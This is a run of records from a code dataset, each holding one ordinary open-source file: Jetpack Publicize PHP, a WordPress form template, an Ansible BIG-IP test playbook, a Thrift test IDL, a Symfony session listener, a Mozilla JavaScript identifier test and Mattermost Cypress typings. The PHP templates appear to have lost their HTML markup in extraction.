{\n\t\t$connection['user_id'] = $connection['connection_data']['user_id']; // Allows for shared connections\n\t\treturn $connection;\n\t}\n\n\tfunction admin_page_load() {\n\t\tif ( isset( $_GET['action'] ) && 'error' === $_GET['action'] ) {\n\t\t\t\t\tadd_action( 'pre_admin_screen_sharing', array( $this, 'display_connection_error' ), 9 );\n\t\t}\n\t}\n\n\tfunction display_connection_error() {\n\t\t$code = false;\n\t\tif ( isset( $_GET['service'] ) ) {\n\t\t\t$service_name = $_GET['service'];\n\t\t\t$error = sprintf( __( 'There was a problem connecting to %s to create an authorized connection. Please try again in a moment.', 'jetpack' ), Publicize::get_service_label( $service_name ) );\n\t\t} else {\n\t\t\tif ( isset( $_GET['publicize_error'] ) ) {\n\t\t\t\t$code = strtolower( $_GET['publicize_error'] );\n\t\t\t\tswitch ( $code ) {\n\t\t\t\t\tcase '400':\n\t\t\t\t\t\t$error = __( 'An invalid request was made. This normally means that something intercepted or corrupted the request from your server to the Jetpack Server. Try again and see if it works this time.', 'jetpack' );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'secret_mismatch':\n\t\t\t\t\t\t$error = __( 'We could not verify that your server is making an authorized request. Please try again, and make sure there is nothing interfering with requests from your server to the Jetpack Server.', 'jetpack' );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'empty_blog_id':\n\t\t\t\t\t\t$error = __( 'No blog_id was included in your request. Please try disconnecting Jetpack from WordPress.com and then reconnecting it. Once you have done that, try connecting Publicize again.', 'jetpack' );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'empty_state':\n\t\t\t\t\t\t$error = sprintf( __( 'No user information was included in your request. Please make sure that your user account has connected to Jetpack. Connect your user account by going to the Jetpack page within wp-admin.', 'jetpack' ), Jetpack::admin_url() );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$error = __( 'Something which should never happen, happened. Sorry about that. If you try again, maybe it will work.', 'jetpack' );\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$error = __( 'There was a problem connecting with Publicize. Please try again in a moment.', 'jetpack' );\n\t\t\t}\n\t\t}\n\t\t// Using the same formatting/style as Jetpack::admin_notices() error\n\t\t?>\n\t\t
    \n\t\t\t
    \n\t\t\t\t

    array( 'href' => true ),\n\t\t\t\t 'code' => true,\n\t\t\t\t 'strong' => true,\n\t\t\t\t 'br' => true,\n\t\t\t\t 'b' => true\n\t\t\t\t\t) ); ?>

    \n\t\t\t\t\n\t\t\t\t\t

    \n\t\t\t\t\n\t\t\t
    \n\t\t
    \n\t\t\\n\";\n\t\techo '

    ' . esc_html( __( 'That connection has been removed.', 'jetpack' ) ) . \"

    \\n\";\n\t\techo \"\\n\\n\";\n\t}\n\n\tfunction globalization() {\n\t\tif ( 'on' == $_REQUEST['global'] ) {\n\t\t\t$globalize_connection = $_REQUEST['connection'];\n\t\t\tif ( ! current_user_can( $this->GLOBAL_CAP ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$this->globalize_connection( $globalize_connection );\n\t\t}\n\t}\n\n\tfunction globalize_connection( $connection_id ) {\n\t\t$xml = new Jetpack_IXR_Client();\n\t\t$xml->query( 'jetpack.globalizePublicizeConnection', $connection_id, 'globalize' );\n\n\t\tif ( ! $xml->isError() ) {\n\t\t\t$response = $xml->getResponse();\n\t\t\t$this->receive_updated_publicize_connections( $response );\n\t\t}\n\t}\n\n\tfunction unglobalize_connection( $connection_id ) {\n\t\t$xml = new Jetpack_IXR_Client();\n\t\t$xml->query( 'jetpack.globalizePublicizeConnection', $connection_id, 'unglobalize' );\n\n\t\tif ( ! $xml->isError() ) {\n\t\t\t$response = $xml->getResponse();\n\t\t\t$this->receive_updated_publicize_connections( $response );\n\t\t}\n\t}\n\n\tfunction connect_url( $service_name, $for = 'publicize' ) {\n\t\treturn Jetpack_Keyring_Service_Helper::connect_url( $service_name, $for );\n\t}\n\n\tfunction refresh_url( $service_name, $for = 'publicize' ) {\n\t\treturn Jetpack_Keyring_Service_Helper::refresh_url( $service_name, $for );\n\t}\n\n\tfunction disconnect_url( $service_name, $id ) {\n\t\treturn Jetpack_Keyring_Service_Helper::disconnect_url( $service_name, $id );\n\t}\n\n\t/**\n\t * Get social networks, either all available or only those that the site is connected to.\n\t *\n\t * @since 2.0.0\n\t * @since 6.6.0 Removed Path. Service closed October 2018.\n\t *\n\t * @param string $filter Select the list of services that will be returned. Defaults to 'all', accepts 'connected'.\n\t *\n\t * @return array List of social networks.\n\t */\n\tfunction get_services( $filter = 'all', $_blog_id = false, $_user_id = false ) {\n\t\t$services = array(\n\t\t\t'facebook' => array(),\n\t\t\t'twitter' => array(),\n\t\t\t'linkedin' => array(),\n\t\t\t'tumblr' => array(),\n\t\t);\n\n\t\tif ( 'all' == $filter ) {\n\t\t\treturn $services;\n\t\t} else {\n\t\t\t$connected_services = array();\n\t\t\tforeach ( $services as $service_name => $empty ) {\n\t\t\t\t$connections = $this->get_connections( $service_name, $_blog_id, $_user_id );\n\t\t\t\tif ( $connections ) {\n\t\t\t\t\t$connected_services[ $service_name ] = $connections;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $connected_services;\n\t\t}\n\t}\n\n\tfunction get_connection( $service_name, $id, $_blog_id = false, $_user_id = false ) {\n\t\t// Stub\n\t}\n\n\tfunction flag_post_for_publicize( $new_status, $old_status, $post ) {\n\t\tif ( ! $this->post_type_is_publicizeable( $post->post_type ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( 'publish' == $new_status && 'publish' != $old_status ) {\n\t\t\t/**\n\t\t\t * Determines whether a post being published gets publicized.\n\t\t\t *\n\t\t\t * Side-note: Possibly our most alliterative filter name.\n\t\t\t *\n\t\t\t * @module publicize\n\t\t\t *\n\t\t\t * @since 4.1.0\n\t\t\t *\n\t\t\t * @param bool $should_publicize Should the post be publicized? Default to true.\n\t\t\t * @param WP_POST $post Current Post object.\n\t\t\t */\n\t\t\t$should_publicize = apply_filters( 'publicize_should_publicize_published_post', true, $post );\n\n\t\t\tif ( $should_publicize ) {\n\t\t\t\tupdate_post_meta( $post->ID, $this->PENDING, true );\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction test_connection( $service_name, $connection ) {\n\n\t\t$id = $this->get_connection_id( $connection );\n\n\t\t$xml = new Jetpack_IXR_Client();\n\t\t$xml->query( 'jetpack.testPublicizeConnection', $id );\n\n\t\t// Bail if all is well\n\t\tif ( ! $xml->isError() ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t$xml_response = $xml->getResponse();\n\t\t$connection_test_message = $xml_response['faultString'];\n\n\t\t// Set up refresh if the user can\n\t\t$user_can_refresh = current_user_can( $this->GLOBAL_CAP );\n\t\tif ( $user_can_refresh ) {\n\t\t\t$nonce = wp_create_nonce( \"keyring-request-\" . $service_name );\n\t\t\t$refresh_text = sprintf( _x( 'Refresh connection with %s', 'Refresh connection with {social media service}', 'jetpack' ), $this->get_service_label( $service_name ) );\n\t\t\t$refresh_url = $this->refresh_url( $service_name );\n\t\t}\n\n\t\t$error_data = array(\n\t\t\t'user_can_refresh' => $user_can_refresh,\n\t\t\t'refresh_text' => $refresh_text,\n\t\t\t'refresh_url' => $refresh_url\n\t\t);\n\n\t\treturn new WP_Error( 'pub_conn_test_failed', $connection_test_message, $error_data );\n\t}\n\n\t/**\n\t * Checks if post has already been shared by Publicize in the past.\n\t *\n\t * Jetpack uses two methods:\n\t * 1. A POST_DONE . 'all' postmeta flag, or\n\t * 2. if the post has already been published.\n\t *\n\t * @since 6.7.0\n\t *\n\t * @param integer $post_id Optional. Post ID to query connection status for: will use current post if missing.\n\t *\n\t * @return bool True if post has already been shared by Publicize, false otherwise.\n\t */\n\tpublic function post_is_done_sharing( $post_id = null ) {\n\t\t// Defaults to current post if $post_id is null.\n\t\t$post = get_post( $post_id );\n\t\tif ( is_null( $post ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn 'publish' == $post->post_status || get_post_meta( $post->ID, $this->POST_DONE . 'all', true );\n\t}\n\n\t/**\n\t * Save a flag locally to indicate that this post has already been Publicized via the selected\n\t * connections.\n\t */\n\tfunction save_publicized( $post_ID, $post = null, $update = null ) {\n\t\tif ( is_null( $post ) ) {\n\t\t\treturn;\n\t\t}\n\t\t// Only do this when a post transitions to being published\n\t\tif ( get_post_meta( $post->ID, $this->PENDING ) && $this->post_type_is_publicizeable( $post->post_type ) ) {\n\t\t\t$connected_services = $this->get_all_connections();\n\t\t\tif ( ! empty( $connected_services ) ) {\n\t\t\t\t/**\n\t\t\t\t * Fires when a post is saved that has is marked as pending publicizing\n\t\t\t\t *\n\t\t\t\t * @since 4.1.0\n\t\t\t\t *\n\t\t\t\t * @param int The post ID\n\t\t\t\t */\n\t\t\t\tdo_action_deprecated( 'jetpack_publicize_post', $post->ID, '4.8.0', 'jetpack_published_post_flags' );\n\t\t\t}\n\t\t\tdelete_post_meta( $post->ID, $this->PENDING );\n\t\t\tupdate_post_meta( $post->ID, $this->POST_DONE . 'all', true );\n\t\t}\n\t}\n\n\tfunction set_post_flags( $flags, $post ) {\n\t\t$flags['publicize_post'] = false;\n\t\tif ( ! $this->post_type_is_publicizeable( $post->post_type ) ) {\n\t\t\treturn $flags;\n\t\t}\n\t\t/** This filter is already documented in modules/publicize/publicize-jetpack.php */\n\t\tif ( ! apply_filters( 'publicize_should_publicize_published_post', true, $post ) ) {\n\t\t\treturn $flags;\n\t\t}\n\n\t\t$connected_services = $this->get_all_connections();\n\n\t\tif ( empty( $connected_services ) ) {\n\t\t\treturn $flags;\n\t\t}\n\n\t\t$flags['publicize_post'] = true;\n\n\t\treturn $flags;\n\t}\n\n\t/**\n\t * Options Code\n\t */\n\n\tfunction options_page_facebook() {\n\t\t$connected_services = $this->get_all_connections();\n\t\t$connection = $connected_services['facebook'][ $_REQUEST['connection'] ];\n\t\t$options_to_show = ( ! empty( $connection['connection_data']['meta']['options_responses'] ) ? $connection['connection_data']['meta']['options_responses'] : false );\n\n\t\t// Nonce check\n\t\tcheck_admin_referer( 'options_page_facebook_' . $_REQUEST['connection'] );\n\n\t\t$pages = ( ! empty( $options_to_show[1]['data'] ) ? $options_to_show[1]['data'] : false );\n\n\t\t$page_selected = false;\n\t\tif ( ! empty( $connection['connection_data']['meta']['facebook_page'] ) ) {\n\t\t\t$found = false;\n\t\t\tif ( $pages && isset( $pages->data ) && is_array( $pages->data ) ) {\n\t\t\t\tforeach ( $pages->data as $page ) {\n\t\t\t\t\tif ( $page->id == $connection['connection_data']['meta']['facebook_page'] ) {\n\t\t\t\t\t\t$found = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( $found ) {\n\t\t\t\t$page_selected = $connection['connection_data']['meta']['facebook_page'];\n\t\t\t}\n\t\t}\n\n\t\t?>\n\n\t\t
    \n\n\t\t\tLearn More about Publicize for Facebook', 'jetpack' ),\n\t\t\t\tesc_url( Redirect::get_url( 'jetpack-support-publicize-facebook' ) )\n\t\t\t);\n\n\t\t\tif ( $pages ) : ?>\n\t\t\t\t

    Facebook Page:', 'jetpack' ); ?>

    \n\t\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\t $page ) : ?>\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\t\n\t\t\t\t
    \"\n\t\t\t\t\t\t value=\"\" />\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\n\t\t\t\t\n\t\t\t\t

    \n\t\t\t\t\t\"\n\t\t\t\t\t class=\"button fb-options save-options\" name=\"save\"\n\t\t\t\t\t data-connection=\"\"\n\t\t\t\t\t rel=\"\"/>\n\t\t\t\t


    \n\t\t\t\t

    \n\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t

    \n\t\t\t\t\t

    Create a Facebook page to get started.', 'jetpack' ), 'https://www.facebook.com/pages/creation/', '_blank noopener noreferrer' ); ?>

    \n\t\t\t\t
    \n\t\t\t\n\t\t
    \n\t\t $page_id,\n\t\t\t'facebook_profile' => null\n\t\t);\n\n\t\t$this->set_remote_publicize_options( $_POST['connection'], $options );\n\t}\n\n\tfunction options_page_tumblr() {\n\t\t// Nonce check\n\t\tcheck_admin_referer( 'options_page_tumblr_' . $_REQUEST['connection'] );\n\n\t\t$connected_services = $this->get_all_connections();\n\t\t$connection = $connected_services['tumblr'][ $_POST['connection'] ];\n\t\t$options_to_show = $connection['connection_data']['meta']['options_responses'];\n\t\t$request = $options_to_show[0];\n\n\t\t$blogs = $request['response']['user']['blogs'];\n\n\t\t$blog_selected = false;\n\n\t\tif ( ! empty( $connection['connection_data']['meta']['tumblr_base_hostname'] ) ) {\n\t\t\tforeach ( $blogs as $blog ) {\n\t\t\t\tif ( $connection['connection_data']['meta']['tumblr_base_hostname'] == $this->get_basehostname( $blog['url'] ) ) {\n\t\t\t\t\t$blog_selected = $connection['connection_data']['meta']['tumblr_base_hostname'];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\t// Use their Primary blog if they haven't selected one yet\n\t\tif ( ! $blog_selected ) {\n\t\t\tforeach ( $blogs as $blog ) {\n\t\t\t\tif ( $blog['primary'] ) {\n\t\t\t\t\t$blog_selected = $this->get_basehostname( $blog['url'] );\n\t\t\t\t}\n\t\t\t}\n\t\t} ?>\n\n\t\t
    \n\n\t\t\t\n\n\t\t\t

    Tumblr blog:', 'jetpack' ); ?>

    \n\n\t\t\t
      \n\n\t\t\t\tget_basehostname( $blog['url'] ); ?>\n\t\t\t\t\t
    • \n\t\t\t\t\t\t\"\n\t\t\t\t\t\t value=\"\" />\n\t\t\t\t\t\t\n\t\t\t\t\t
    • \n\t\t\t\t\n\n\t\t\t
    \n\n\t\t\t\n\n\t\t\t

    \n\t\t\t\t\"\n\t\t\t\t class=\"button tumblr-options save-options\" name=\"save\"\n\t\t\t\t data-connection=\"\"\n\t\t\t\t rel=\"\"/>\n\t\t\t


    \n\t\t
    \n\n\t\t $_POST['selected_id'] );\n\n\t\t$this->set_remote_publicize_options( $_POST['connection'], $options );\n\n\t}\n\n\tfunction set_remote_publicize_options( $id, $options ) {\n\t\t$xml = new Jetpack_IXR_Client();\n\t\t$xml->query( 'jetpack.setPublicizeOptions', $id, $options );\n\n\t\tif ( ! $xml->isError() ) {\n\t\t\t$response = $xml->getResponse();\n\t\t\tJetpack_Options::update_option( 'publicize_connections', $response );\n\t\t\t$this->globalization();\n\t\t}\n\t}\n\n\tfunction options_page_twitter() {\n\t\tPublicize_UI::options_page_other( 'twitter' );\n\t}\n\n\tfunction options_page_linkedin() {\n\t\tPublicize_UI::options_page_other( 'linkedin' );\n\t}\n\n\tfunction options_save_twitter() {\n\t\t$this->options_save_other( 'twitter' );\n\t}\n\n\tfunction options_save_linkedin() {\n\t\t$this->options_save_other( 'linkedin' );\n\t}\n\n\tfunction options_save_other( $service_name ) {\n\t\t// Nonce check\n\t\tcheck_admin_referer( 'save_' . $service_name . '_token_' . $_REQUEST['connection'] );\n\t\t$this->globalization();\n\t}\n\n\t/**\n\t * If there's only one shared connection to Twitter set it as twitter:site tag.\n\t */\n\tfunction enhaced_twitter_cards_site_tag( $tag ) {\n\t\t$custom_site_tag = get_option( 'jetpack-twitter-cards-site-tag' );\n\t\tif ( ! empty( $custom_site_tag ) ) {\n\t\t\treturn $tag;\n\t\t}\n\t\tif ( ! $this->is_enabled( 'twitter' ) ) {\n\t\t\treturn $tag;\n\t\t}\n\t\t$connections = $this->get_connections( 'twitter' );\n\t\tforeach ( $connections as $connection ) {\n\t\t\t$connection_meta = $this->get_connection_meta( $connection );\n\t\t\tif ( 0 == $connection_meta['connection_data']['user_id'] ) {\n\t\t\t\t// If the connection is shared\n\t\t\t\treturn $this->get_display_name( 'twitter', $connection );\n\t\t\t}\n\t\t}\n\n\t\treturn $tag;\n\t}\n\n\tfunction save_publicized_twitter_account( $submit_post, $post_id, $service_name, $connection ) {\n\t\tif ( 'twitter' == $service_name && $submit_post ) {\n\t\t\t$connection_meta = $this->get_connection_meta( $connection );\n\t\t\t$publicize_twitter_user = get_post_meta( $post_id, '_publicize_twitter_user' );\n\t\t\tif ( empty( $publicize_twitter_user ) || 0 != $connection_meta['connection_data']['user_id'] ) {\n\t\t\t\tupdate_post_meta( $post_id, '_publicize_twitter_user', $this->get_display_name( 'twitter', $connection ) );\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction get_publicized_twitter_account( $account, $post_id ) {\n\t\tif ( ! empty( $account ) ) {\n\t\t\treturn $account;\n\t\t}\n\t\t$account = get_post_meta( $post_id, '_publicize_twitter_user', true );\n\t\tif ( ! empty( $account ) ) {\n\t\t\treturn $account;\n\t\t}\n\n\t\treturn '';\n\t}\n\n\t/**\n\t * Save the Publicized Facebook account when publishing a post\n\t * Use only Personal accounts, not Facebook Pages\n\t */\n\tfunction save_publicized_facebook_account( $submit_post, $post_id, $service_name, $connection ) {\n\t\t$connection_meta = $this->get_connection_meta( $connection );\n\t\tif ( 'facebook' == $service_name && isset( $connection_meta['connection_data']['meta']['facebook_profile'] ) && $submit_post ) {\n\t\t\t$publicize_facebook_user = get_post_meta( $post_id, '_publicize_facebook_user' );\n\t\t\tif ( empty( $publicize_facebook_user ) || 0 != $connection_meta['connection_data']['user_id'] ) {\n\t\t\t\t$profile_link = $this->get_profile_link( 'facebook', $connection );\n\n\t\t\t\tif ( false !== $profile_link ) {\n\t\t\t\t\tupdate_post_meta( $post_id, '_publicize_facebook_user', $profile_link );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n"} +{"text": " What post variable it will return. [ex. first_name]\n * 'type' => The field type [ex. password, text, etc.]\n * 'default' => The default value for this field.\n * )\n * )\n */\n?>\n\n
    \n\n \n \n
    error\">\n \t\n \n \t
    \n\t\t\t\t\" \n name=\"\" \n value=\"\" \n />\n
    \n \n
    \n\t\t\t
    \n
    \n \n\n
    \n \n \tCancel\n
    \n
    "} +{"text": "# 聊聊 Python 的单元测试框架\n\n- 1、[unittest](unittest.md)\n- 2、[nose 和它的继任者 nose2](nose.md)\n- 3、[pytest](pytest.md)"} +{"text": "---\n\n# Test the bigip_password_policy module\n#\n# Running this playbook assumes that you have a BIG-IP installation at the\n# ready to receive the commands issued in this Playbook.\n#\n# This module will run tests against a BIG-IP host to verify that the\n# bigip_password_policy module behaves as expected.\n#\n# Usage:\n#\n# ansible-playbook -i notahost, test/integration/bigip_password_policy.yaml\n#\n# Examples:\n#\n# Run all tests on the bigip_password_policy module\n#\n# ansible-playbook -i notahost, test/integration/bigip_password_policy.yaml\n#\n\n- name: Metadata of bigip_password_policy\n hosts: localhost\n connection: local\n gather_facts: false\n\n vars:\n __metadata__:\n upstream: yes\n version: 1.2\n tested_versions:\n - NA\n tested_platforms:\n - NA\n\n- name: Test the bigip_password_policy module\n hosts: \"f5-test[0]\"\n connection: local\n any_errors_fatal: true\n\n vars:\n limit_to: '*'\n\n environment:\n F5_SERVER: \"{{ ansible_host }}\"\n F5_USER: \"{{ bigip_username }}\"\n F5_PASSWORD: \"{{ bigip_password }}\"\n F5_SERVER_PORT: \"{{ bigip_port }}\"\n F5_VALIDATE_CERTS: \"{{ validate_certs }}\"\n\n roles:\n - bigip_password_policy\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\n//break9 - Struct field removed from struct1\n\n\nnamespace cpp test\n//Constants\n\nconst i32 const1 = 123;\nconst double const2 = 23.3;\nconst map const3 = {\"hello\":\"world\", \"thrift\":\"audit\"};\n\n//Exception\nexception test_exception1 {\n 1: i32 code;\n 2: string json;\n}\nexception test_exception2 {\n 1: i32 code;\n 2: string json;\n}\n\n//Enums\n\nenum test_enum1 {\n enum1_value0 = 0,\n enum1_value1 = 1,\n enum1_value2 = 2,\n enum1_value5 = 5,\n enum1_value7 = 7,\n enum1_value8 = 8\n}\n\nenum test_enum2 {\n enum2_value0 = 0,\n enum2_value1 = 1,\n enum2_value2 = 2,\n enum2_value3 = 3\n}\n\nenum test_enum3 {\n enum3_value1 = 0,\n enum3_value2 = 1\n}\n\nstruct test_struct1 {\n 1: i16 struct1_member1,\n 2: i32 struct1_member2,\n 3: i64 struct1_member3,\n 4: double struct1_member4 = 2.5,\n 5: string struct1_member5 = \"Audit test\",\n 6: bool struct1_member6,\n 8: binary struct1_member8,\n 9: test_enum1 struct1_member9\n}\n\nstruct test_struct2 {\n 1: list struct2_member1,\n 2: list struct2_member2,\n 3: list struct2_member3 = [23, 32 ],\n 4: list struct2_member4,\n 5: list struct2_member5,\n 6: list struct2_member6,\n 7: list struct2_member7,\n 8: list struct2_member8,\n 9: list struct2_member9\n}\n\nstruct test_struct3 {\n 1: map struct3_member1 = {1:2, 3:4},\n 2: map struct3_member2 = {10:1.1, 20:2.1},\n 3: map struct3_member3,\n 4: map struct3_member4,\n 5: map struct3_member5,\n 7: map struct3_member7\n}\n\nstruct test_struct4 {\n 1: i32 struct4_member1,\n 2: optional i32 struct4_member2\n}\n\nstruct test_struct5{\n 1: double struct5_member1,\n 2: string struct5_member2 = \"Thrift Audit Test\"\n}\nstruct test_struct6 {\n 1: i32 struct6_member1,\n 2: required i32 struct6_member2\n}\n\nservice base {\n oneway void base_oneway(\n 1: i32 arg1),\n\n void base_function1(\n 1: i16 function1_arg1,\n 2: i32 function1_arg2,\n 3: i64 function1_arg3,\n 4: double function1_arg4,\n 5: string function1_arg5,\n 6: bool function1_arg6,\n 7: test_enum1 function1_arg7,\n 8: test_struct1 function1_arg8),\n\n void base_function2(\n 1: list function2_arg1,\n 2: list function2_arg2,\n 3: list function2_arg3,\n 4: list function2_arg4,\n 5: list function2_arg5,\n 6: list function2_arg6,\n 7: list function2_arg7,\n 8: list function2_arg8,\n 9: list function2_arg9) throws (1:test_exception2 e),\n\n void base_function3(),\n\n}\n\nservice derived1 extends base {\n \n test_enum1 derived1_function1(\n 1: i64 function1_arg1,\n 2: double function1_arg2,\n 3: test_enum1 function1_arg3) throws (1:test_exception2 e),\n\n i64 derived1_function2(\n 1: list function2_arg1,\n 2: list function2_arg2,\n 3: list function2_arg3,\n 4: list function2_arg4,\n 5: list function2_arg5) throws (1:test_exception2 e),\n\n double derived1_function3(\n 1: string function3_arg1,\n 2: bool function3_arg2) throws (1:test_exception2 e),\n\n string derived1_function4(\n 1: string function4_arg1,\n 2: bool function4_arg2) throws (1:test_exception2 e),\n\n\n bool derived1_function5(\n 1: map function5_arg1,\n 2: map function5_arg2,\n 3: map function5_arg3) throws (1:test_exception2 e),\n\n test_struct1 derived1_function6(\n 1: double function6_arg1) throws (1:test_exception2 e),\n}\n\nservice derived2 extends base {\n\n list derived2_function1(\n 1: i32 function1_arg1) throws (1:test_exception2 e),\n \n list derived2_function2(\n 1:i64 function2_arg2) throws (1:test_exception2 e),\n\n list derived2_function3(\n 1:double function3_arg1) throws(1:test_exception2 e),\n\n map derived2_function4(\n 1:string function4_arg1) throws(1:test_exception2 e),\n\n map derived2_function5(\n 1:bool function5_arg1) throws(1:test_exception2 e),\n\n map derived2_function6(\n 1:bool function6_arg1) throws(1:test_exception2 e),\n \n}\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\HttpKernel\\EventListener;\n\nuse Psr\\Container\\ContainerInterface;\n\n/**\n * Sets the session in the request.\n *\n * @author Fabien Potencier \n *\n * @final\n */\nclass TestSessionListener extends AbstractTestSessionListener\n{\n private $container;\n\n public function __construct(ContainerInterface $container, array $sessionOptions = [])\n {\n $this->container = $container;\n parent::__construct($sessionOptions);\n }\n\n protected function getSession()\n {\n if (!$this->container->has('session')) {\n return;\n }\n\n return $this->container->get('session');\n }\n}\n"} +{"text": "/* The contents of this file are subject to the Netscape Public\r\n * License Version 1.1 (the \"License\"); you may not use this file\r\n * except in compliance with the License. You may obtain a copy of\r\n * the License at http://www.mozilla.org/NPL/\r\n *\r\n * Software distributed under the License is distributed on an \"AS\r\n * IS\" basis, WITHOUT WARRANTY OF ANY KIND, either express or\r\n * implied. See the License for the specific language governing\r\n * rights and limitations under the License.\r\n *\r\n * The Original Code is Mozilla Communicator client code, released March\r\n * 31, 1998.\r\n *\r\n * The Initial Developer of the Original Code is Netscape Communications\r\n * Corporation. Portions created by Netscape are\r\n * Copyright (C) 1998 Netscape Communications Corporation. All\r\n * Rights Reserved.\r\n *\r\n * Contributor(s): \r\n * \r\n */\r\n/**\r\n File Name: 7.5-7.js\r\n ECMA Section: 7.5 Identifiers\r\n Description: Identifiers are of unlimited length\r\n - can contain letters, a decimal digit, _, or $\r\n - the first character cannot be a decimal digit\r\n - identifiers are case sensitive\r\n\r\n Author: christine@netscape.com\r\n Date: 11 september 1997\r\n*/\r\n var SECTION = \"7.5-7\";\r\n var VERSION = \"ECMA_1\";\r\n startTest();\r\n var TITLE = \"Identifiers\";\r\n\r\n writeHeaderToLog( SECTION + \" \"+ TITLE);\r\n\r\n var testcases = getTestCases();\r\n test();\r\n\r\nfunction getTestCases() {\r\n var array = new Array();\r\n var item = 0;\r\n\r\n array[item++] = new TestCase( SECTION, \"var $0abc = 5\", 5, \"var $0abc = 5; $0abc\" );\r\n return ( array );\r\n}\r\n\r\nfunction test() {\r\n for ( tc=0; tc < testcases.length; tc++ ) {\r\n testcases[tc].actual = eval( testcases[tc].actual );\r\n\r\n testcases[tc].passed = writeTestCaseResult(\r\n testcases[tc].expect,\r\n testcases[tc].actual,\r\n testcases[tc].description +\": \"+\r\n testcases[tc].actual );\r\n\r\n testcases[tc].reason += ( testcases[tc].passed ) ? \"\" : \" ignored chars after line terminator of single-line comment\";\r\n }\r\n stopTest();\r\n return ( testcases );\r\n}\r\n"} +{"text": "// Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved.\n// See LICENSE.txt for license information.\n\n/// \n\n// ***************************************************************\n// Each command should be properly documented using JSDoc.\n// See https://jsdoc.app/index.html for reference.\n// Basic requirements for documentation are the following:\n// - Meaningful description\n// - Specific link to https://api.mattermost.com\n// - Each parameter with `@params`\n// - Return value with `@returns`\n// - Example usage with `@example`\n// Custom command should follow naming convention of having `api` prefix, e.g. `apiLogin`.\n// ***************************************************************\n\ndeclare namespace Cypress {\n interface Chainable {\n\n /**\n * Create a new channel.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels/post\n * @param {String} teamId - Unique handler for a team, will be present in the team URL\n * @param {String} name - Unique handler for a channel, will be present in the team URL\n * @param {String} displayName - Non-unique UI name for the channel\n * @param {String} type - 'O' for a public channel (default), 'P' for a private channel\n * @param {String} purpose - A short description of the purpose of the channel\n * @param {String} header - Markdown-formatted text to display in the header of the channel\n * @param {Boolean} unique - if true (default), it will create with unique/random channel name.\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiCreateChannel('team-id', 'test-channel', 'Test Channel').then(({channel}) => {\n * // do something with channel\n * });\n */\n apiCreateChannel(\n teamId: string,\n name: string,\n displayName: string,\n type?: string,\n purpose?: string,\n header?: string\n ): Chainable;\n\n /**\n * Create a new direct message channel between two users.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1direct/post\n * @param {string[]} userIds - The two user ids to be in the direct message\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiCreateDirectChannel('user-1-id', 'user-2-id').then(({channel}) => {\n * // do something with channel\n * });\n */\n apiCreateDirectChannel(userIds: Array): Chainable;\n\n /**\n * Create a new group message channel to group of users via API. If the logged in user's id is not included in the list, it will be appended to the end.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1group/post\n * @param {string[]} userIds - User ids to be in the group message channel\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiCreateGroupChannel('user-1-id', 'user-2-id', 'current-user-id').then(({channel}) => {\n * // do something with channel\n * });\n */\n apiCreateGroupChannel(userIds: Array): Chainable;\n\n /**\n * Update a channel.\n * The fields that can be updated are listed as parameters. Omitted fields will be treated as blanks.\n * See https://api.mattermost.com/#tag/channels/paths/~1channels~1{channel_id}/put\n * @param {string} channelId - The channel ID to be updated\n * @param {Channel} channel - Channel object to be updated\n * @param {string} channel.name - The unique handle for the channel, will be present in the channel URL\n * @param {string} channel.display_name - The non-unique UI name for the channel\n * @param {string} channel.purpose - A short description of the purpose of the channel\n * @param {string} channel.header - Markdown-formatted text to display in the header of the channel\n * @returns {Channel} `out.channel` as `Channel`\n *\n * @example\n * cy.apiUpdateChannel('channel-id', {name: 'new-name', display_name: 'New Display Name'. 'purpose': 'Updated purpose', 'header': 'Updated header'});\n */\n apiUpdateChannel(channelId: string, channel: Channel): Chainable;\n\n /**\n * Partially update a channel by providing only the fields you want to update.\n * Omitted fields will not be updated.\n * The fields that can be updated are defined in the request body, all other provided fields will be ignored.\n * See 